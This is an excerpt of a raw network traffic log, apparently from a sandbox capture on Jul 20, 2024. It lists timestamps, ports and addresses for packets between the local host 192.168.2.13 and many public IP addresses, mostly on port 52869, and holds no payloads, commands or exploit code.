Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	27.117.126.38
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	39.27.230.217
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	4.1.237.133
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	67.61.127.170
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	97.170.90.251
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	32.188.169.151
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	190.181.73.6
Jul 20, 2024 23:00:59.587544918 CEST	50566	52869	192.168.2.13	182.81.29.110
Jul 20, 2024 23:00:59.587748051 CEST	52869	50566	194.191.153.163	192.168.2.13
Jul 20, 2024 23:00:59.587759972 CEST	52869	50566	52.4.252.61	192.168.2.13
Jul 20, 2024 23:00:59.587965012 CEST	52869	50566	1.6.88.81	192.168.2.13
Jul 20, 2024 23:00:59.587976933 CEST	52869	50566	132.243.226.80	192.168.2.13
Jul 20, 2024 23:00:59.587989092 CEST	52869	50566	170.7.192.1	192.168.2.13
Jul 20, 2024 23:00:59.588376999 CEST	52869	50566	157.107.139.179	192.168.2.13
Jul 20, 2024 23:00:59.588390112 CEST	52869	50566	121.129.9.158	192.168.2.13
Jul 20, 2024 23:00:59.588402033 CEST	52869	50566	52.254.173.132	192.168.2.13
Jul 20, 2024 23:00:59.588622093 CEST	52869	50566	4.126.46.148	192.168.2.13
Jul 20, 2024 23:00:59.588634014 CEST	52869	50566	101.105.120.215	192.168.2.13
Jul 20, 2024 23:00:59.588924885 CEST	80	32852	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.588937044 CEST	80	58732	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.588949919 CEST	52869	50566	48.153.201.130	192.168.2.13
Jul 20, 2024 23:00:59.588960886 CEST	52869	50566	167.245.54.149	192.168.2.13
Jul 20, 2024 23:00:59.588973045 CEST	52869	50566	62.113.97.226	192.168.2.13
Jul 20, 2024 23:00:59.589113951 CEST	52869	50566	218.25.105.251	192.168.2.13
Jul 20, 2024 23:00:59.589126110 CEST	52869	50566	122.67.236.249	192.168.2.13
Jul 20, 2024 23:00:59.589466095 CEST	52869	50566	102.56.9.25	192.168.2.13
Jul 20, 2024 23:00:59.589478016 CEST	52869	50566	123.123.158.124	192.168.2.13
Jul 20, 2024 23:00:59.589695930 CEST	52869	50566	63.166.234.187	192.168.2.13
Jul 20, 2024 23:00:59.589709044 CEST	52869	50566	221.1.130.160	192.168.2.13
Jul 20, 2024 23:00:59.589720964 CEST	52869	50566	70.193.26.201	192.168.2.13
Jul 20, 2024 23:00:59.589734077 CEST	52869	50566	213.55.186.226	192.168.2.13
Jul 20, 2024 23:00:59.590073109 CEST	50566	52869	192.168.2.13	71.75.101.231
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	53.181.114.20
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	193.221.142.249
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	212.182.154.238
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	199.179.76.18
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	103.40.93.239
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	138.60.37.197
Jul 20, 2024 23:00:59.590074062 CEST	50566	52869	192.168.2.13	13.201.178.215
Jul 20, 2024 23:00:59.590265989 CEST	52869	50566	122.219.218.188	192.168.2.13
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	108.81.63.156
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	190.33.99.217
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	66.180.148.38
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	68.139.231.175
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	143.32.214.53
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	36.52.193.19
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	80.177.251.186
Jul 20, 2024 23:00:59.590269089 CEST	50566	52869	192.168.2.13	125.116.207.58
Jul 20, 2024 23:00:59.590280056 CEST	52869	50566	87.211.191.179	192.168.2.13
Jul 20, 2024 23:00:59.590291977 CEST	52869	50566	186.145.42.94	192.168.2.13
Jul 20, 2024 23:00:59.590352058 CEST	52869	50566	89.19.70.28	192.168.2.13
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	72.107.29.138
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	189.63.59.26
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	80.188.204.218
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	14.221.89.81
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	54.140.239.132
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	45.49.137.220
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	125.107.0.253
Jul 20, 2024 23:00:59.590361118 CEST	50566	52869	192.168.2.13	27.221.68.85
Jul 20, 2024 23:00:59.590364933 CEST	52869	50566	167.142.84.3	192.168.2.13
Jul 20, 2024 23:00:59.590667009 CEST	52869	50566	175.17.76.227	192.168.2.13
Jul 20, 2024 23:00:59.590748072 CEST	52869	50566	31.152.105.38	192.168.2.13
Jul 20, 2024 23:00:59.590760946 CEST	52869	50566	167.26.134.36	192.168.2.13
Jul 20, 2024 23:00:59.590823889 CEST	50566	52869	192.168.2.13	117.128.184.66
Jul 20, 2024 23:00:59.590823889 CEST	50566	52869	192.168.2.13	49.201.90.122
Jul 20, 2024 23:00:59.590823889 CEST	50566	52869	192.168.2.13	128.80.240.196
Jul 20, 2024 23:00:59.590823889 CEST	50566	52869	192.168.2.13	172.33.226.59
Jul 20, 2024 23:00:59.590823889 CEST	50566	52869	192.168.2.13	138.161.203.33
Jul 20, 2024 23:00:59.590825081 CEST	50566	52869	192.168.2.13	194.114.239.8
Jul 20, 2024 23:00:59.590825081 CEST	50566	52869	192.168.2.13	153.7.7.208
Jul 20, 2024 23:00:59.590825081 CEST	50566	52869	192.168.2.13	14.144.70.230
Jul 20, 2024 23:00:59.590857983 CEST	52869	50566	210.25.125.186	192.168.2.13
Jul 20, 2024 23:00:59.591031075 CEST	52869	50566	192.124.164.51	192.168.2.13
Jul 20, 2024 23:00:59.591228962 CEST	52869	50566	19.84.29.63	192.168.2.13
Jul 20, 2024 23:00:59.591240883 CEST	52869	50566	32.117.105.192	192.168.2.13
Jul 20, 2024 23:00:59.591253042 CEST	52869	50566	73.165.187.191	192.168.2.13
Jul 20, 2024 23:00:59.591265917 CEST	52869	50566	119.203.70.124	192.168.2.13
Jul 20, 2024 23:00:59.591758013 CEST	52869	50566	168.72.146.158	192.168.2.13
Jul 20, 2024 23:00:59.592138052 CEST	52869	50566	23.53.9.206	192.168.2.13
Jul 20, 2024 23:00:59.592150927 CEST	52869	50566	134.10.221.26	192.168.2.13
Jul 20, 2024 23:00:59.592164040 CEST	52869	50566	93.179.81.105	192.168.2.13
Jul 20, 2024 23:00:59.592401981 CEST	52869	50566	93.138.21.169	192.168.2.13
Jul 20, 2024 23:00:59.592415094 CEST	52869	50566	110.148.119.192	192.168.2.13
Jul 20, 2024 23:00:59.592427015 CEST	52869	50566	13.4.88.88	192.168.2.13
Jul 20, 2024 23:00:59.592439890 CEST	52869	50566	150.222.203.213	192.168.2.13
Jul 20, 2024 23:00:59.592452049 CEST	52869	50566	106.57.64.161	192.168.2.13
Jul 20, 2024 23:00:59.592964888 CEST	50566	52869	192.168.2.13	66.205.11.7
Jul 20, 2024 23:00:59.592964888 CEST	50566	52869	192.168.2.13	97.174.207.178
Jul 20, 2024 23:00:59.592964888 CEST	50566	52869	192.168.2.13	51.115.50.33
Jul 20, 2024 23:00:59.592964888 CEST	50566	52869	192.168.2.13	129.145.243.170
Jul 20, 2024 23:00:59.592966080 CEST	50566	52869	192.168.2.13	48.246.187.233
Jul 20, 2024 23:00:59.592966080 CEST	50566	52869	192.168.2.13	78.155.29.223
Jul 20, 2024 23:00:59.592966080 CEST	50566	52869	192.168.2.13	194.234.80.190
Jul 20, 2024 23:00:59.592966080 CEST	50566	52869	192.168.2.13	121.217.157.187
Jul 20, 2024 23:00:59.594012022 CEST	80	59908	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.594116926 CEST	52869	50566	60.231.165.181	192.168.2.13
Jul 20, 2024 23:00:59.594129086 CEST	52869	50566	84.84.45.246	192.168.2.13
Jul 20, 2024 23:00:59.594141006 CEST	52869	50566	97.52.75.59	192.168.2.13
Jul 20, 2024 23:00:59.594299078 CEST	52869	50566	27.117.126.38	192.168.2.13
Jul 20, 2024 23:00:59.594310999 CEST	52869	50566	71.235.216.140	192.168.2.13
Jul 20, 2024 23:00:59.594321966 CEST	52869	50566	66.23.16.223	192.168.2.13
Jul 20, 2024 23:00:59.594333887 CEST	52869	50566	207.15.179.45	192.168.2.13
Jul 20, 2024 23:00:59.594346046 CEST	52869	50566	51.68.73.18	192.168.2.13
Jul 20, 2024 23:00:59.594357014 CEST	52869	50566	110.8.142.127	192.168.2.13
Jul 20, 2024 23:00:59.594759941 CEST	52869	50566	34.207.31.197	192.168.2.13
Jul 20, 2024 23:00:59.594773054 CEST	52869	50566	97.134.202.3	192.168.2.13
Jul 20, 2024 23:00:59.594785929 CEST	52869	50566	25.12.220.217	192.168.2.13
Jul 20, 2024 23:00:59.594786882 CEST	50566	52869	192.168.2.13	45.151.62.243
Jul 20, 2024 23:00:59.594786882 CEST	50566	52869	192.168.2.13	109.178.131.85
Jul 20, 2024 23:00:59.594786882 CEST	50566	52869	192.168.2.13	18.172.188.201
Jul 20, 2024 23:00:59.594788074 CEST	50566	52869	192.168.2.13	83.197.31.81
Jul 20, 2024 23:00:59.594788074 CEST	50566	52869	192.168.2.13	5.163.140.124
Jul 20, 2024 23:00:59.594788074 CEST	50566	52869	192.168.2.13	128.23.18.94
Jul 20, 2024 23:00:59.594788074 CEST	50566	52869	192.168.2.13	183.92.237.146
Jul 20, 2024 23:00:59.594788074 CEST	50566	52869	192.168.2.13	123.162.89.224
Jul 20, 2024 23:00:59.594796896 CEST	52869	50566	163.68.52.23	192.168.2.13
Jul 20, 2024 23:00:59.594809055 CEST	52869	50566	201.122.198.113	192.168.2.13
Jul 20, 2024 23:00:59.594820976 CEST	52869	50566	70.70.211.133	192.168.2.13
Jul 20, 2024 23:00:59.594831944 CEST	52869	50566	110.72.97.251	192.168.2.13
Jul 20, 2024 23:00:59.594847918 CEST	52869	50566	216.200.124.108	192.168.2.13
Jul 20, 2024 23:00:59.594868898 CEST	52869	50566	79.143.71.61	192.168.2.13
Jul 20, 2024 23:00:59.595004082 CEST	50566	52869	192.168.2.13	102.231.201.51
Jul 20, 2024 23:00:59.595004082 CEST	50566	52869	192.168.2.13	187.201.16.4
Jul 20, 2024 23:00:59.595004082 CEST	50566	52869	192.168.2.13	126.63.100.120
Jul 20, 2024 23:00:59.595005035 CEST	50566	52869	192.168.2.13	101.212.58.87
Jul 20, 2024 23:00:59.595005035 CEST	50566	52869	192.168.2.13	84.26.114.133
Jul 20, 2024 23:00:59.595005035 CEST	50566	52869	192.168.2.13	23.67.235.212
Jul 20, 2024 23:00:59.595005035 CEST	50566	52869	192.168.2.13	17.37.207.219
Jul 20, 2024 23:00:59.595005035 CEST	50566	52869	192.168.2.13	192.125.35.34
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	83.183.197.102
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	169.13.64.245
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	188.130.177.201
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	48.247.75.126
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	210.204.87.133
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	38.139.117.210
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	52.197.89.254
Jul 20, 2024 23:00:59.595124960 CEST	50566	52869	192.168.2.13	187.20.52.49
Jul 20, 2024 23:00:59.595215082 CEST	52869	50566	39.27.230.217	192.168.2.13
Jul 20, 2024 23:00:59.595406055 CEST	52869	50566	192.214.196.124	192.168.2.13
Jul 20, 2024 23:00:59.595418930 CEST	52869	50566	53.124.247.216	192.168.2.13
Jul 20, 2024 23:00:59.595525026 CEST	52869	50566	189.76.150.130	192.168.2.13
Jul 20, 2024 23:00:59.595617056 CEST	52869	50566	148.111.225.64	192.168.2.13
Jul 20, 2024 23:00:59.595629930 CEST	52869	50566	151.237.231.212	192.168.2.13
Jul 20, 2024 23:00:59.595642090 CEST	52869	50566	71.75.101.231	192.168.2.13
Jul 20, 2024 23:00:59.595841885 CEST	52869	50566	97.205.221.196	192.168.2.13
Jul 20, 2024 23:00:59.595854044 CEST	52869	50566	222.160.37.233	192.168.2.13
Jul 20, 2024 23:00:59.596082926 CEST	52869	50566	63.173.254.82	192.168.2.13
Jul 20, 2024 23:00:59.596095085 CEST	52869	50566	53.181.114.20	192.168.2.13
Jul 20, 2024 23:00:59.596107006 CEST	52869	50566	108.81.63.156	192.168.2.13
Jul 20, 2024 23:00:59.596527100 CEST	52869	50566	72.107.29.138	192.168.2.13
Jul 20, 2024 23:00:59.596539021 CEST	52869	50566	117.128.184.66	192.168.2.13
Jul 20, 2024 23:00:59.596551895 CEST	52869	50566	193.221.142.249	192.168.2.13
Jul 20, 2024 23:00:59.596591949 CEST	52869	50566	49.201.90.122	192.168.2.13
Jul 20, 2024 23:00:59.596604109 CEST	52869	50566	189.63.59.26	192.168.2.13
Jul 20, 2024 23:00:59.596616030 CEST	80	46836	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	51.66.34.25
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	121.34.202.134
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	130.29.163.176
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	195.132.1.69
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	23.149.125.128
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	115.210.223.23
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	24.187.7.136
Jul 20, 2024 23:00:59.596736908 CEST	50566	52869	192.168.2.13	122.74.42.98
Jul 20, 2024 23:00:59.596766949 CEST	52869	50566	20.56.93.113	192.168.2.13
Jul 20, 2024 23:00:59.596873999 CEST	52869	50566	128.80.240.196	192.168.2.13
Jul 20, 2024 23:00:59.596887112 CEST	52869	50566	190.33.99.217	192.168.2.13
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	136.76.12.111
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	8.98.86.3
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	137.55.25.91
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	169.216.228.16
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	18.118.36.173
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	170.110.120.154
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	159.161.70.187
Jul 20, 2024 23:00:59.597006083 CEST	50566	52869	192.168.2.13	87.211.91.11
Jul 20, 2024 23:00:59.597034931 CEST	52869	50566	212.182.154.238	192.168.2.13
Jul 20, 2024 23:00:59.597353935 CEST	52869	50566	172.33.226.59	192.168.2.13
Jul 20, 2024 23:00:59.597367048 CEST	52869	50566	80.188.204.218	192.168.2.13
Jul 20, 2024 23:00:59.597584009 CEST	52869	50566	66.180.148.38	192.168.2.13
Jul 20, 2024 23:00:59.597794056 CEST	52869	50566	138.161.203.33	192.168.2.13
Jul 20, 2024 23:00:59.597904921 CEST	52869	50566	167.92.170.151	192.168.2.13
Jul 20, 2024 23:00:59.597917080 CEST	52869	50566	68.139.231.175	192.168.2.13
Jul 20, 2024 23:00:59.597971916 CEST	52869	50566	220.156.155.94	192.168.2.13
Jul 20, 2024 23:00:59.598371983 CEST	52869	50566	194.114.239.8	192.168.2.13
Jul 20, 2024 23:00:59.598529100 CEST	52869	50566	143.32.214.53	192.168.2.13
Jul 20, 2024 23:00:59.598541021 CEST	52869	50566	66.205.11.7	192.168.2.13
Jul 20, 2024 23:00:59.598552942 CEST	52869	50566	199.179.76.18	192.168.2.13
Jul 20, 2024 23:00:59.598805904 CEST	52869	50566	36.52.193.19	192.168.2.13
Jul 20, 2024 23:00:59.598819017 CEST	52869	50566	97.174.207.178	192.168.2.13
Jul 20, 2024 23:00:59.598831892 CEST	52869	50566	103.40.93.239	192.168.2.13
Jul 20, 2024 23:00:59.598844051 CEST	52869	50566	80.177.251.186	192.168.2.13
Jul 20, 2024 23:00:59.598922014 CEST	52869	50566	51.115.50.33	192.168.2.13
Jul 20, 2024 23:00:59.599304914 CEST	52869	50566	14.221.89.81	192.168.2.13
Jul 20, 2024 23:00:59.599317074 CEST	52869	50566	138.60.37.197	192.168.2.13
Jul 20, 2024 23:00:59.599328995 CEST	52869	50566	54.140.239.132	192.168.2.13
Jul 20, 2024 23:00:59.599340916 CEST	52869	50566	129.145.243.170	192.168.2.13
Jul 20, 2024 23:00:59.599766970 CEST	52869	50566	153.7.7.208	192.168.2.13
Jul 20, 2024 23:00:59.599778891 CEST	52869	50566	45.49.137.220	192.168.2.13
Jul 20, 2024 23:00:59.599921942 CEST	52869	50566	13.201.178.215	192.168.2.13
Jul 20, 2024 23:00:59.600028992 CEST	52869	50566	125.107.0.253	192.168.2.13
Jul 20, 2024 23:00:59.600042105 CEST	52869	50566	125.116.207.58	192.168.2.13
Jul 20, 2024 23:00:59.600054026 CEST	52869	50566	14.144.70.230	192.168.2.13
Jul 20, 2024 23:00:59.600423098 CEST	52869	50566	48.246.187.233	192.168.2.13
Jul 20, 2024 23:00:59.600435972 CEST	52869	50566	102.231.201.51	192.168.2.13
Jul 20, 2024 23:00:59.600449085 CEST	52869	50566	19.246.93.131	192.168.2.13
Jul 20, 2024 23:00:59.600636005 CEST	80	39244	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.600809097 CEST	52869	50566	106.16.131.182	192.168.2.13
Jul 20, 2024 23:00:59.600821018 CEST	52869	50566	24.227.65.96	192.168.2.13
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	199.121.94.39
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	165.221.152.111
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	103.55.51.24
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	170.44.141.131
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	82.59.196.59
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	198.178.175.109
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	222.139.57.235
Jul 20, 2024 23:00:59.601089954 CEST	50566	52869	192.168.2.13	163.240.92.21
Jul 20, 2024 23:00:59.601104021 CEST	52869	50566	4.1.237.133	192.168.2.13
Jul 20, 2024 23:00:59.601139069 CEST	52869	50566	78.155.29.223	192.168.2.13
Jul 20, 2024 23:00:59.601150990 CEST	52869	50566	187.201.16.4	192.168.2.13
Jul 20, 2024 23:00:59.601162910 CEST	52869	50566	45.151.62.243	192.168.2.13
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	64.203.52.140
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	2.45.239.89
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	207.70.169.248
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	170.126.187.25
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	218.148.139.162
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	187.9.135.48
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	146.202.87.248
Jul 20, 2024 23:00:59.601552010 CEST	50566	52869	192.168.2.13	156.255.79.227
Jul 20, 2024 23:00:59.601593971 CEST	52869	50566	126.63.100.120	192.168.2.13
Jul 20, 2024 23:00:59.601677895 CEST	50566	52869	192.168.2.13	23.143.183.180
Jul 20, 2024 23:00:59.601677895 CEST	50566	52869	192.168.2.13	23.179.172.154
Jul 20, 2024 23:00:59.601677895 CEST	50566	52869	192.168.2.13	207.222.192.222
Jul 20, 2024 23:00:59.601677895 CEST	50566	52869	192.168.2.13	85.83.186.173
Jul 20, 2024 23:00:59.601679087 CEST	50566	52869	192.168.2.13	43.22.181.167
Jul 20, 2024 23:00:59.601679087 CEST	50566	52869	192.168.2.13	179.115.72.188
Jul 20, 2024 23:00:59.601679087 CEST	50566	52869	192.168.2.13	137.37.120.169
Jul 20, 2024 23:00:59.601679087 CEST	50566	52869	192.168.2.13	162.24.121.92
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	202.190.221.115
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	84.117.229.118
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	8.28.254.193
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	43.248.243.79
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	57.228.228.208
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	58.117.66.60
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	122.202.61.247
Jul 20, 2024 23:00:59.601905107 CEST	50566	52869	192.168.2.13	197.89.48.241
Jul 20, 2024 23:00:59.602560043 CEST	52869	50566	194.234.80.190	192.168.2.13
Jul 20, 2024 23:00:59.603153944 CEST	52869	50566	27.221.68.85	192.168.2.13
Jul 20, 2024 23:00:59.603167057 CEST	52869	50566	121.217.157.187	192.168.2.13
Jul 20, 2024 23:00:59.603178978 CEST	52869	50566	51.66.34.25	192.168.2.13
Jul 20, 2024 23:00:59.603199005 CEST	52869	50566	83.183.197.102	192.168.2.13
Jul 20, 2024 23:00:59.603210926 CEST	52869	50566	109.178.131.85	192.168.2.13
Jul 20, 2024 23:00:59.603224039 CEST	52869	50566	101.212.58.87	192.168.2.13
Jul 20, 2024 23:00:59.603235006 CEST	52869	50566	18.172.188.201	192.168.2.13
Jul 20, 2024 23:00:59.603249073 CEST	52869	50566	121.34.202.134	192.168.2.13
Jul 20, 2024 23:00:59.603537083 CEST	52869	50566	136.76.12.111	192.168.2.13
Jul 20, 2024 23:00:59.603549957 CEST	52869	50566	84.26.114.133	192.168.2.13
Jul 20, 2024 23:00:59.603560925 CEST	52869	50566	8.98.86.3	192.168.2.13
Jul 20, 2024 23:00:59.603631020 CEST	52869	50566	83.197.31.81	192.168.2.13
Jul 20, 2024 23:00:59.604095936 CEST	52869	50566	23.67.235.212	192.168.2.13
Jul 20, 2024 23:00:59.604108095 CEST	52869	50566	5.163.140.124	192.168.2.13
Jul 20, 2024 23:00:59.604120016 CEST	52869	50566	130.29.163.176	192.168.2.13
Jul 20, 2024 23:00:59.604190111 CEST	52869	50566	169.13.64.245	192.168.2.13
Jul 20, 2024 23:00:59.604202032 CEST	52869	50566	220.129.65.61	192.168.2.13
Jul 20, 2024 23:00:59.604391098 CEST	50566	52869	192.168.2.13	74.13.242.177
Jul 20, 2024 23:00:59.604391098 CEST	50566	52869	192.168.2.13	93.186.215.85
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	93.89.228.144
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	160.13.140.39
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	25.33.101.203
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	83.123.156.156
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	166.230.186.42
Jul 20, 2024 23:00:59.604392052 CEST	50566	52869	192.168.2.13	158.231.248.95
Jul 20, 2024 23:00:59.604693890 CEST	52869	50566	67.61.127.170	192.168.2.13
Jul 20, 2024 23:00:59.604707956 CEST	52869	50566	185.132.110.212	192.168.2.13
Jul 20, 2024 23:00:59.604721069 CEST	52869	50566	128.23.18.94	192.168.2.13
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	31.5.27.49
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	35.227.210.137
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	167.70.107.202
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	62.234.113.13
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	85.108.106.41
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	142.248.82.30
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	60.224.36.74
Jul 20, 2024 23:00:59.604727983 CEST	50566	52869	192.168.2.13	138.90.155.182
Jul 20, 2024 23:00:59.605366945 CEST	52869	50566	188.130.177.201	192.168.2.13
Jul 20, 2024 23:00:59.605380058 CEST	52869	50566	195.132.1.69	192.168.2.13
Jul 20, 2024 23:00:59.605392933 CEST	52869	50566	17.37.207.219	192.168.2.13
Jul 20, 2024 23:00:59.605937004 CEST	52869	50566	23.149.125.128	192.168.2.13
Jul 20, 2024 23:00:59.605950117 CEST	52869	50566	48.247.75.126	192.168.2.13
Jul 20, 2024 23:00:59.606118917 CEST	50566	52869	192.168.2.13	45.170.132.43
Jul 20, 2024 23:00:59.606118917 CEST	50566	52869	192.168.2.13	17.21.56.11
Jul 20, 2024 23:00:59.606118917 CEST	50566	52869	192.168.2.13	85.245.163.84
Jul 20, 2024 23:00:59.606120110 CEST	50566	52869	192.168.2.13	210.176.207.144
Jul 20, 2024 23:00:59.606120110 CEST	50566	52869	192.168.2.13	5.32.31.50
Jul 20, 2024 23:00:59.606120110 CEST	50566	52869	192.168.2.13	186.231.139.123
Jul 20, 2024 23:00:59.606120110 CEST	50566	52869	192.168.2.13	198.119.74.143
Jul 20, 2024 23:00:59.606120110 CEST	50566	52869	192.168.2.13	87.204.95.27
Jul 20, 2024 23:00:59.606183052 CEST	52869	50566	115.210.223.23	192.168.2.13
Jul 20, 2024 23:00:59.606195927 CEST	52869	50566	210.204.87.133	192.168.2.13
Jul 20, 2024 23:00:59.606367111 CEST	52869	50566	97.170.90.251	192.168.2.13
Jul 20, 2024 23:00:59.606379986 CEST	52869	50566	183.92.237.146	192.168.2.13
Jul 20, 2024 23:00:59.606794119 CEST	52869	50566	38.251.137.53	192.168.2.13
Jul 20, 2024 23:00:59.606806040 CEST	52869	50566	77.241.217.204	192.168.2.13
Jul 20, 2024 23:00:59.606817961 CEST	52869	50566	32.188.169.151	192.168.2.13
Jul 20, 2024 23:00:59.606966972 CEST	52869	50566	38.139.117.210	192.168.2.13
Jul 20, 2024 23:00:59.607273102 CEST	52869	50566	192.125.35.34	192.168.2.13
Jul 20, 2024 23:00:59.607285976 CEST	52869	50566	24.187.7.136	192.168.2.13
Jul 20, 2024 23:00:59.607337952 CEST	52869	50566	52.197.89.254	192.168.2.13
Jul 20, 2024 23:00:59.607350111 CEST	52869	50566	137.55.25.91	192.168.2.13
Jul 20, 2024 23:00:59.607355118 CEST	50566	52869	192.168.2.13	97.128.130.183
Jul 20, 2024 23:00:59.607355118 CEST	50566	52869	192.168.2.13	62.38.71.222
Jul 20, 2024 23:00:59.607355118 CEST	50566	52869	192.168.2.13	50.170.13.13
Jul 20, 2024 23:00:59.607355118 CEST	50566	52869	192.168.2.13	181.176.199.94
Jul 20, 2024 23:00:59.607355118 CEST	50566	52869	192.168.2.13	183.78.158.44
Jul 20, 2024 23:00:59.607356071 CEST	50566	52869	192.168.2.13	34.138.36.48
Jul 20, 2024 23:00:59.607356071 CEST	50566	52869	192.168.2.13	202.127.253.98
Jul 20, 2024 23:00:59.607356071 CEST	50566	52869	192.168.2.13	166.11.73.219
Jul 20, 2024 23:00:59.607362986 CEST	52869	50566	122.74.42.98	192.168.2.13
Jul 20, 2024 23:00:59.607423067 CEST	52869	50566	123.162.89.224	192.168.2.13
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	93.171.171.184
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	91.46.191.190
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	190.123.17.110
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	31.54.39.40
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	4.193.117.37
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	145.162.14.166
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	2.57.213.168
Jul 20, 2024 23:00:59.607707024 CEST	50566	52869	192.168.2.13	208.22.1.172
Jul 20, 2024 23:00:59.607917070 CEST	52869	50566	64.203.52.140	192.168.2.13
Jul 20, 2024 23:00:59.607930899 CEST	52869	50566	187.20.52.49	192.168.2.13
